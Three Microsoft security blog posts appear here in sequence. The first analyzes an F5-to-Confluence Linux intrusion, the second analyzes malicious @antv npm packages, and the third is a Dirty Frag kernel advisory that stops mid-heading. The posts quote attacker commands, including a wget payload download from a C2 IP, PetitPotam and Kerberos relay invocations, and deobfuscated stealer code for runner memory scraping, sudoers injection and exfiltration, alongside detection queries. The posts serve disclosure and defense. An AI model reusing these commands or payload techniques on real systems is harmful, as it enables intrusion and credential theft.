In this incident, the threat actor compromised an internet-facing firewall appliance and used trusted relationships to pivot to an internal Linux host. From there, the threat actor compromised a vulnerable SaaS application and leveraged its credentials to conduct relay-style authentication attacks against Active Directory.

This incident reflects a broader shift toward identity-centric, multi-domain attack chains that span network infrastructure, endpoints, SaaS platforms, cloud workloads, and identity systems. Organizations should treat edge devices, non-Windows systems, and cloud identities as security-critical assets, prioritize monitoring across these environments, and use attack path analysis to identify where threat actors are most likely to establish initial access.

Attack chain overview

Figure 1. Multi-stage Linux intrusion via F5 and Confluence – Attack flow.
Figure 2. Multi-stage Linux intrusion via F5 and Confluence – Threat actor activities.

Initial access: Exploiting edge appliances

The threat actor established SSH access to the first Linux host from a network device identified as an F5 BIG-IP load balancer. Device inventory confirmed the source as an Azure-hosted appliance running version 15.1.201000. This is a specific BIG-IP Virtual Edition (VE) image version deployed primarily in cloud environments and commonly used in Azure ARM templates and Terraform modules for deploying F5 BIG-IP instances. This version of BIG-IP reached end-of-life (EOL) on December 31, 2024. Retiring deprecated firewalls is a security imperative, as unsupported hardware might leave the network exposed to modern threats.

This aligns with a broader pattern observed in recent high‑impact incidents, where internet‑facing edge devices such as routers, firewalls, and gateways are compromised through N‑day vulnerabilities. Operational constraints, including the availability of maintenance windows, could delay the installation of software updates for these appliances. When such devices are compromised, threat actors might be able to abuse or extract embedded trusted identities, enabling lateral movement that can bypass traditional perimeter and endpoint‑focused controls.

In this incident, the threat actor authenticated to a Linux server over SSH using a privileged account. The threat actor maintained this level of access throughout the observed activity without establishing explicit persistence mechanisms, underscoring the risk posed by over-privileged identities with sudo rights. The threat actor maintained sustained hands-on keyboard access throughout the attack, directly executing actions during the SSH session.

Discovery and reconnaissance

The threat actor performed extensive reconnaissance of the host and network, including file enumeration, network scanning, and service discovery. They aggressively scanned the internal network subnets with Nmap to identify connected hosts, and then used Nmap on the identified hosts to detect open services. This execution was automated using a shell script. The threat actor performed a horizontal scan to identify connected assets, and then performed a more thorough vertical scan using the results from the first scan.

The threat actor used gowitness to perform a detailed reconnaissance of the HTTP/HTTPS services identified in the previous scan.

gowitness scan nmap -f $i --write-db --write-screenshots --screenshot-path ./screenshots --screenshot-fullpage --open-only --service-contains http --delay 5 --threads 1 --chrome-proxy socks5://127.0.0.1:9090

Where they identified Windows servers, the threat actor tried common NTLM-based lateral movement techniques using the following open-source tools:

  • enum4linux
  • netexec
  • nmbclient
  • smbclient
  • rpcclient
  • timeroast
  • ldapsearch
  • kerbrute
  • nxc
  • responder

These initial attempts were unsuccessful.

The threat actor then downloaded a custom scanning tool from 206.189.27[.]39 using wget:

wget http://206.189.27[.]39:8888/5

The scanning tool file was detected as HackTool:Linux/MalPack.B. The tool performed reconnaissance of the organization’s web infrastructure. The organization uses multiple web applications and mobile services (for example, Firebase and GCM). The reconnaissance tool attempted to connect to the applications and services that the compromised Linux server interacts with, most likely to enumerate and identify access controls.

Lateral movement and identity compromise

During reconnaissance, the threat actor identified an Atlassian Confluence server within the network with unpatched vulnerabilities and leveraged these vulnerabilities to execute code remotely. Due to better hardening as a result of RTP being turned on, the threat actor used the initial Linux host as a staging server and had to try multiple ways of dropping the payload into the target Confluence server. Each time they dropped the payload onto the host, it was blocked. Assuming network-level blocking, the threat actor set up an FTP server on the initial Linux host using Python’s ftplib module to transfer the custom scanning tool to the Confluence server.

curl -o /dev/shm/ag ftp://anonymous:anonymous@[REDACTED_LOCAL_IP]/5

After compromising the Confluence server, the threat actor obtained credentials and used them to attempt authentication against Windows infrastructure from the following files:

  • /opt/atlassian/confluence/conf/server.xml
  • /var/atlassian/application-data/confluence/confluence.cfg.xml

This was followed by Kerberos relay attacks and exploitation of CVE-2025-33073, highlighting the risk of credential theft from internal web applications and the importance of monitoring cross-system authentication events.

nxc smb [REDACTED_IP] -d [REDACTED_DOMAIN].com -u Jiraservices -p '********* -M coerce_plus -o M=PetitPotam L="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
python3 CVE-2025-33073.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** --attacker-ip [REDACTED_IP] --dns-ip [REDACTED_IP] --dc-fqdn [REDACTED_HOSTNAME].[REDACTED_DOMAIN].com --target [REDACTED_HOST] --target-ip [REDACTED_IP]
python3 dnstool.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** [REDACTED_HOST].[REDACTED_DOMAIN].com -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d [REDACTED_IP] -dns-ip [REDACTED_IP]

The threat actor used testssl to probe for SSL/TLS weaknesses, indicating an attempt to identify downgrade paths and protocol misconfigurations.

This incident vividly demonstrates that vulnerable applications don’t need to be directly exposed to the internet to result in high severity compromises. Once an initial foothold is established, threat actors can pivot laterally and target internally accessible services to escalate privileges, expand access, or deploy tooling deeper into the environment.

In cloud and hybrid deployments, this risk is amplified by the implicit-trust boundaries between applications and services, where authenticated identity, network locality, and service-to-service trust can be abused. As a result, unpatched internal applications, particularly those running with elevated permissions or trusted identities, represent a critical attack surface and can materially impact the overall security posture of the environment.

From initial access to the final stage, the threat actor was systematically probing the tenant and experimenting with multiple techniques to expand access. During this phase, they identified and abused several assets that ultimately provided elevated privileges, illustrating that threat actors don’t need advanced sophistication to be effective – only time, persistence, and the presence of exploitable security gaps across the environment.

This intrusion demonstrates how a single remote code execution vulnerability in a perimeter-facing web component can ultimately cascade into identity compromise in a completely separate application, crossing platform and trust boundaries. Even in environments with hardened Windows systems, insufficient monitoring and delayed patching across a hybrid estate can result in trusted identities and internal application relationships being abused. The breadth of techniques employed by the threat actor and their repeated hands-on keyboard activity, including attempts to further compromise a domain controller, underscore the reality that determined threat actors will systematically pursue all available paths until a viable route to full-tenant compromise is achieved.

Mitigation and protection guidance

Treat internet-facing edge appliances as Tier-0 assets and enforce lifecycle + patch governance.

In this intrusion, the initial foothold came from an end-of-life F5 BIG-IP version. Organizations should maintain an accurate inventory of externally exposed appliances, track end-of-support dates, and operationalize rapid patching for known-exploited vulnerabilities. Where immediate patching isn’t feasible, compensating controls should be applied, such as restricting management-plane exposure, reducing permitted source IP ranges, and increasing telemetry and alerting for anomalous administrative access.

Harden and patch internal web applications with the same urgency as internet-facing services.

Although Confluence was not exposed externally, an unpatched internal service still enabled remote code execution once the threat actor had network access. Critical internal applications (like Confluence) should be patched and monitored even if they have no direct internet exposure, because they often hold sensitive information and become reachable from outside the network after a threat actor gains any internal foothold. Treat internal applications as part of your critical attack surface: regularly look for known vulnerabilities and apply security updates quickly.

Apply identity hardening to reduce the feasibility and blast radius of relay-style authentication attacks.

After credential theft, the threat actor attempted Kerberos relay and other Windows authentication abuse against domain infrastructure. Defensive measures include minimizing or disabling NTLM where possible, enforcing SMB signing, enabling LDAP signing and channel binding, and using Extended Protection for Authentication (EPA) on applicable services to bind authentication to the channel and reduce relay success. Combine these controls with a tiered administration model (separate admin accounts and no reuse of privileged credentials on lower-trust hosts) to prevent a single-application credential compromise from leading to domain compromise.

Help prevent implant execution and common lateral movement tooling with Microsoft Defender in block mode.

This intrusion involved custom ELF payloads and commodity tooling, including network scanners, tunneling/backdoor binaries, and NTLM/Kerberos-focused utilities, all of which rely on successful execution on Linux hosts. In the environment where this intrusion occurred, real-time protection was only enabled on one machine, and on that host it blocked the attempted execution. To reduce dwell time and help prevent follow-on lateral movement, enable Defender prevention capabilities consistently across Linux servers.

Microsoft Defender XDR detections

Tactic   Observed activity   Microsoft Defender coverage   
Initial access, ExecutionThreat actor logs in through SSH and drops an ELF binaryMicrosoft Defender for Endpoint 
Executable permission added to file or directory Suspicious file dropped and launched HackTool:Linux/MalPack.B (Blocked on Confluence server)  
DiscoveryThreat actor enumerated files on the Linux system and performed network scanning, access of Confluence credentialsMicrosoft Defender for Endpoint
Enumeration of files with sensitive data Suspicious script launched
Lateral movementThreat actor performed remote code execution on a Confluence server identified through network scanning in the same network  Microsoft Defender for Endpoint 
Suspicious process executed by a network service Suspicious remote command execution via Java web application Suspicious piped command launched
Privilege escalationThreat actor performed relay attacks against the domain controllerMicrosoft Defender for Endpoint 
Authentication coercion attack HackTool:Linux/Kerbrute!rfn

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat: 

  • Incident investigation 
  • Microsoft User analysis 
  • Threat actor profile 
  • Threat Intelligence 360 report based on MDTI article 
  • Vulnerability impact assessment 

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.   

Advanced hunting

SSH login from F5 BIG-IP device

let lookback = 7d;
let dhcpTolerance = 2h; // Tolerance for DHCP IP address changes
let FilteredDevices =
    DeviceInfo
    | where Timestamp > ago(lookback)
    | where Vendor == "F5"
    | where OSVersion == "15.1.201000"
    | extend SourceDeviceId = DeviceId
    | summarize by SourceDeviceId;
let DeviceIpSnapshots =
    DeviceNetworkInfo
    | where Timestamp > ago(lookback)
    | where isnotempty(IPAddresses)
    | extend IPAddresses = todynamic(IPAddresses)
    | mv-expand ip = IPAddresses
        | extend IPAddress = tostring(ip.IPAddress)
        | where isnotempty(IPAddress)
    | project SourceDeviceId = DeviceId, SourceIPAddress = IPAddress, SourceIpTimestamp = Timestamp
    | join kind=inner FilteredDevices on SourceDeviceId;
DeviceLogonEvents
| where Timestamp > ago(lookback)
| where ActionType == "LogonSuccess"
| where isnotempty(RemoteIP)
| project LogonTimestamp = Timestamp, DestinationDeviceId = DeviceId, RemoteIP, AccountName, InitiatingProcessFileName
| join kind=inner (
        DeviceIpSnapshots
    ) on $left.RemoteIP == $right.SourceIPAddress
| where LogonTimestamp between ((SourceIpTimestamp - dhcpTolerance) .. (SourceIpTimestamp + dhcpTolerance))
| extend IpAssignmentToLogonDeltaSeconds = abs(datetime_diff("second", LogonTimestamp, SourceIpTimestamp))
| summarize arg_min(IpAssignmentToLogonDeltaSeconds, *) by LogonTimestamp, RemoteIP, DestinationDeviceId
| project LogonTimestamp, SourceDeviceId, DestinationDeviceId, RemoteIP, SourceIpTimestamp, IpAssignmentToLogonDeltaSeconds, AccountName, InitiatingProcessFileName
| order by LogonTimestamp desc

Credential discovery from Confluence

let lookback = 7d; 
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName == "java"
| where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar")
| where (FileName == "cat" and ProcessCommandLine has_any ("server.xml", "confluence.cfg.xml" , "setenv.sh"))

Payload delivery through compromised Confluence server

let lookback = 7d; 
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName == "java"
| where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar")
| where ProcessCommandLine has_any ("chmod 777 /dev/shm", "chmod 777 /tmp" , "base64 -d > /dev/shm", "curl -o /dev/shm/", "curl -o /tmp/")

Indicators of compromise (IOC)

IndicatorTypeDescription
4a927d031919fd6bd88d3c8a917214b54bca00f8ddc80ecfe4d230663dda7465File hashCustom scanning tool
b4592cea69699b2c0737d4e19cff7dca17b5baf5a238cd6da950a37e9986f216File hashShell script to automate network scanning using Nmap
710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122aFile hashKerbrute tool
57b3188e24782c27fdf72493ce599537efd3187d03b80f8afe733c72d68c5517File hashgowitness scanner
bdd5da81ac34d9faa2a5118d4ed8f492239734be02146cd24a0e34270a48a455File hashNTLM relay Python script
206.189.27[.]39IPv4 addressC2 server

MITRE ATT&CK techniques observed

This campaign exhibited the following MITRE ATT&CK techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR detections section above.

TacticTechnique IDTechnique nameHow it presents in this campaign
Lateral MovementT1021.004Remote Services: SSHThreat actor used SSH to access the Linux host through the compromised firewall
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellThreat actor performed hands-on keyboard activity though SSH and used shell script to automate network scanning and discovery of web services. Most of the lateral movement tools were open source/publicly available Python scripts
T1059.006Command and Scripting Interpreter: Python
DiscoveryT1043Commonly Used PortThreat actor performed network scanning using Nmap, used ls and find commands to discover files on the Linux hosts
T1083File and Directory Discovery
CollectionT1005Data from Local SystemThe threat actor stored the results of the scan on the system. This along with other files in the system was exfiltrated through SSH
Command and ControlT1071Application Layer ProtocolTool transfer through wget (backdoor and kerbrute)
T1105Ingress Tool Transfer
Defense EvasionT1222.002File and Directory Permissions Modification: Linux and Mac File PermissionsExecutable permission added to ELF binaries
Initial AccessT1190Exploit Public-Facing ApplicationLateral movement to Confluence server through RCE in Java web application
PersistenceT1505Server Software ComponentPersistent access to the Confluence web server through web shell
Defense Evasion; Persistence; Privilege EscalationT1078.002Valid Accounts: Domain AccountsUsed the domain credentials of the Confluence server for subsequent attacks
Credential AccessT1187Forced AuthenticationThreat actor targeted domain controller through NTLM relay attacks.
T1557Adversary-in-the-Middle

References

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence appeared first on Microsoft Security Blog.

Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft

Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.

The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.

Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.

The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.

Attack chain overview

Figure 1. @antv npm supply chain attack flow.

The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:

  • Maintainer account compromise and publication of malicious @antv package versions
  • Downstream dependency amplification (echarts-for-react, size-sensor, and others)
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain: node → shell → bun → payload (Bun runtime installed if absent)

Technical analysis

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

  • Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
  • Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
  • Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux
  • Branch avoidance: Skips the main, master, dependabot/, renovate/, and gh-pages when using Git API exfiltration

// Layer 1: 1,732 strings in rotated array with base64 decode
(function(_0x44be0e, _0x3ff020){
    // Array shuffle IIFE with key 0xa31de
    _0x335af4['push'](_0x335af4['shift']());
})(_0x71ec, 0xa31de));
 
// Layer 2: PBKDF2+SHA256 runtime decryption for critical strings
var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e";
var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104";
var u5 = new du(e6, t6);  // PBKDF2 cipher instance
globalThis["f2959c600"] = function(s) { return u5.decode(s); };
 
// Environment gate - exits if not GitHub Actions on Linux
this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')]  === 'true';
this['isLinuxRunner']   = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux';

Credential theft

The payload targets secrets across six platforms:

  • GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through /user API, and enumerates repo and org secrets.
  • Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws/ files, harvests env vars, and then calls SecretsManager across all regions.
  • HashiCorp Vault: Searches 12+ token paths (/var/run/secrets/vault/token, ~/.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200.
  • npm: Validates tokens using /-/whoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
  • Kubernetes: Reads service account tokens and enumerates namespace secrets
  • 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass
// AWS Secrets Manager enumeration
'secretsmanager:ListSecrets'
'secretsmanager:GetSecretValue('
 
// Vault token paths searched (12+ locations)
'/var/run/secrets/vault/token'
'/.vault-token'
'/home/runner/.vault-token'
'/root/.vault-token'
'/etc/vault/token'
 
// GitHub API secret enumeration
'/actions/secrets?per_page=100'
'/actions/organization-secrets?per_page=100'

Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
 
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

  • Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
  • Modifies /etc/hosts for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > 
 && chmod 0440 /mnt/runner
 
// DNS manipulation
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
 
// Validates sudo access before operations
sudo -n true

Exfiltration

Dual-channel exfiltration:

  • Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
  • Fallback: Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches
  • Tertiary: Creates public repos under victim accounts with reversed description (“niagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing
// Primary: HTTPS C2 with encrypted domain (port 443)
let config = {
    'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'),
    'port': 0x1bb,  // 443
    'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='),
    'dry_run': false
};
 
// Fallback: Git Data API - creates blobs/trees/commits in victim repos
await j(token, '/repos/' + owner + '/' + repo + '/git/blobs',
        {'method': 'POST', 'body': JSON.stringify(stolen_data)});
'/git/trees'
'/git/commits'
 
// Branch filter - avoids protected branches to evade detection
Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/',
      'copilot/', 'master', 'main'];

Propagation and persistence

  • Enumerates /user/repos and /user/orgs to spread into additional repositories
  • Installs Bun runtime, executes second-stage payload using bun run .claude/
  • Deploys token monitor for ongoing credential capture
  • Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate

Impact and blast radius

  • Direct compromise of @antv packages with broad ecosystem adoption
  • Amplification through downstream dependencies into thousands of projects
  • Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
  • SLSA provenance forgery erodes trust in supply chain attestation frameworks

How GitHub took action to prevent further harm

Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of affected @antv/ packages.
  • Identify systems that installed or built affected package versions during the suspected exposure window.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with --ignore-scripts.
  • While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Audit organization and personal GitHub accounts for public repositories with the description “niagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
  • Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverage
Execution Suspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:AIGen/NPMStealer
– Backdoor:Python/ShaiWorm
– Trojan:JS/ShaiWorm
– Trojan:JS/ObfusNpmJs  

Microsoft Defender for Endpoint
– Suspicious usage of Bun runtime
– Suspicious Installation of Bun runtime
– Suspicious Node.js process behavior

Microsoft Defender XDR
Suspicious file creation in temporary directory by Bun.exe binary
Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of environment variables, tokens, or developer secretsMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-cached binary
– Kubernetes secrets enumeration indicative of credential access

Microsoft Defender for Cloud
Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials
Command and ControlPotential outbound connections from build systems or developer machinesMicrosoft Defender for Endpoint
Connection to a custom network indicator

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:

  • Incident investigation
  • Microsoft user analysis
  • Threat Intelligence 360 report based on MDTI article
  • Vulnerability or supply chain impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR Threat analytics

https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution

This query searches for Node.js and npm activity involving install lifecycle behavior and relevant package references.

DeviceProcessEvents
| where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for potential compromise of through malicious npm packages

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName in ("bun", "bun.exe")
| where ProcessCommandLine has "run index.js"

Hunt for affected dependencies in your software inventory

DeviceTvmSoftwareInventory
| where SoftwareName has "antv" or SoftwareVendor has "antv"
| project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion

Hunt for suspicious outbound connection from python backdoor

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where InitiatingProcessFileName startswith "python"
| where InitiatingProcessCommandLine has "/cat.py"

Hunt for suspicious outbound activity from Node.js processes

Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.

DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
| where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for affected dependency references in developer directories

This query searches for package manifest or lockfile activity that might contain relevant dependency references.

DeviceFileEvents
| where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml")
| where FolderPath has_any ("node_modules", "src", "repo", "workspace")
| where AdditionalFields has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for post-compromise C2 activity

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "t.m-kosche.com"

Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container

CloudProcessEvents
| where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Indicators of Compromise (IOC)

IndicatorTypeDescription
@antv – whole accountPackage scope  All packages maintained by the antv account were compromised.

As per the latest statement from the account author’s this situation is now resolved.
echarts-for-reactPackage name  One of the major downstream packages impacted by the antv compromise.
As per the latest statement from the repository author’s this situation is now resolved
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1cSHA-256Malicious payload JavaScript file
fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142SHA-256Malicious backdoor Python script
t.m-kosche[.]com:443DomainInfrastructure associated with campaign
Index.jsFile nameMalicious script or dropped file
cat.pyFile nameMalicious script or dropped file

References

This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.

Active attack: Dirty Frag Linux vulnerability expands post-compromise risk

A newly disclosed Linux local privilege escalation vulnerability known as “Dirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.


This article details an ongoing investigation into active campaign. We will update this report as new details emerge. Latest update: May 14, 2026.

May 14 update

A new variant of the recent Dirty Frag vulnerability, named Fragnesia (CVE-2026-46300), has been discovered. Similarly to Dirty Frag, this variant leverages a different bug to be able to manipulate Linux page cache behavior to achieve privilege escalation. Fragnesia leverages a bug in the esp/xfrm module only, unlike Dirty Frag that also provided an attack path via rxrpc.

Signatures Trojan:Linux/DirtyFrag.Z!MTB and Trojan:Linux/DirtyFrag.DA!MTB, released initially to cover Dirty Frag, also cover the public exploit for Fragnesia and can be used as indicators of a possible abuse of this vulnerability. A patch is available, and while no in-the-wild exploitation has been observed at this time, we urge users and organizations to apply the patch as soon as possible by running update tools. If patching is not possible at this point, consider applying the same mitigations for Dirty Frag.


Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

  • Compromised SSH accounts
  • Web-shell access on internet-facing applications
  • Container escapes into the host environment
  • Abuse of low-privileged service accounts
  • Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

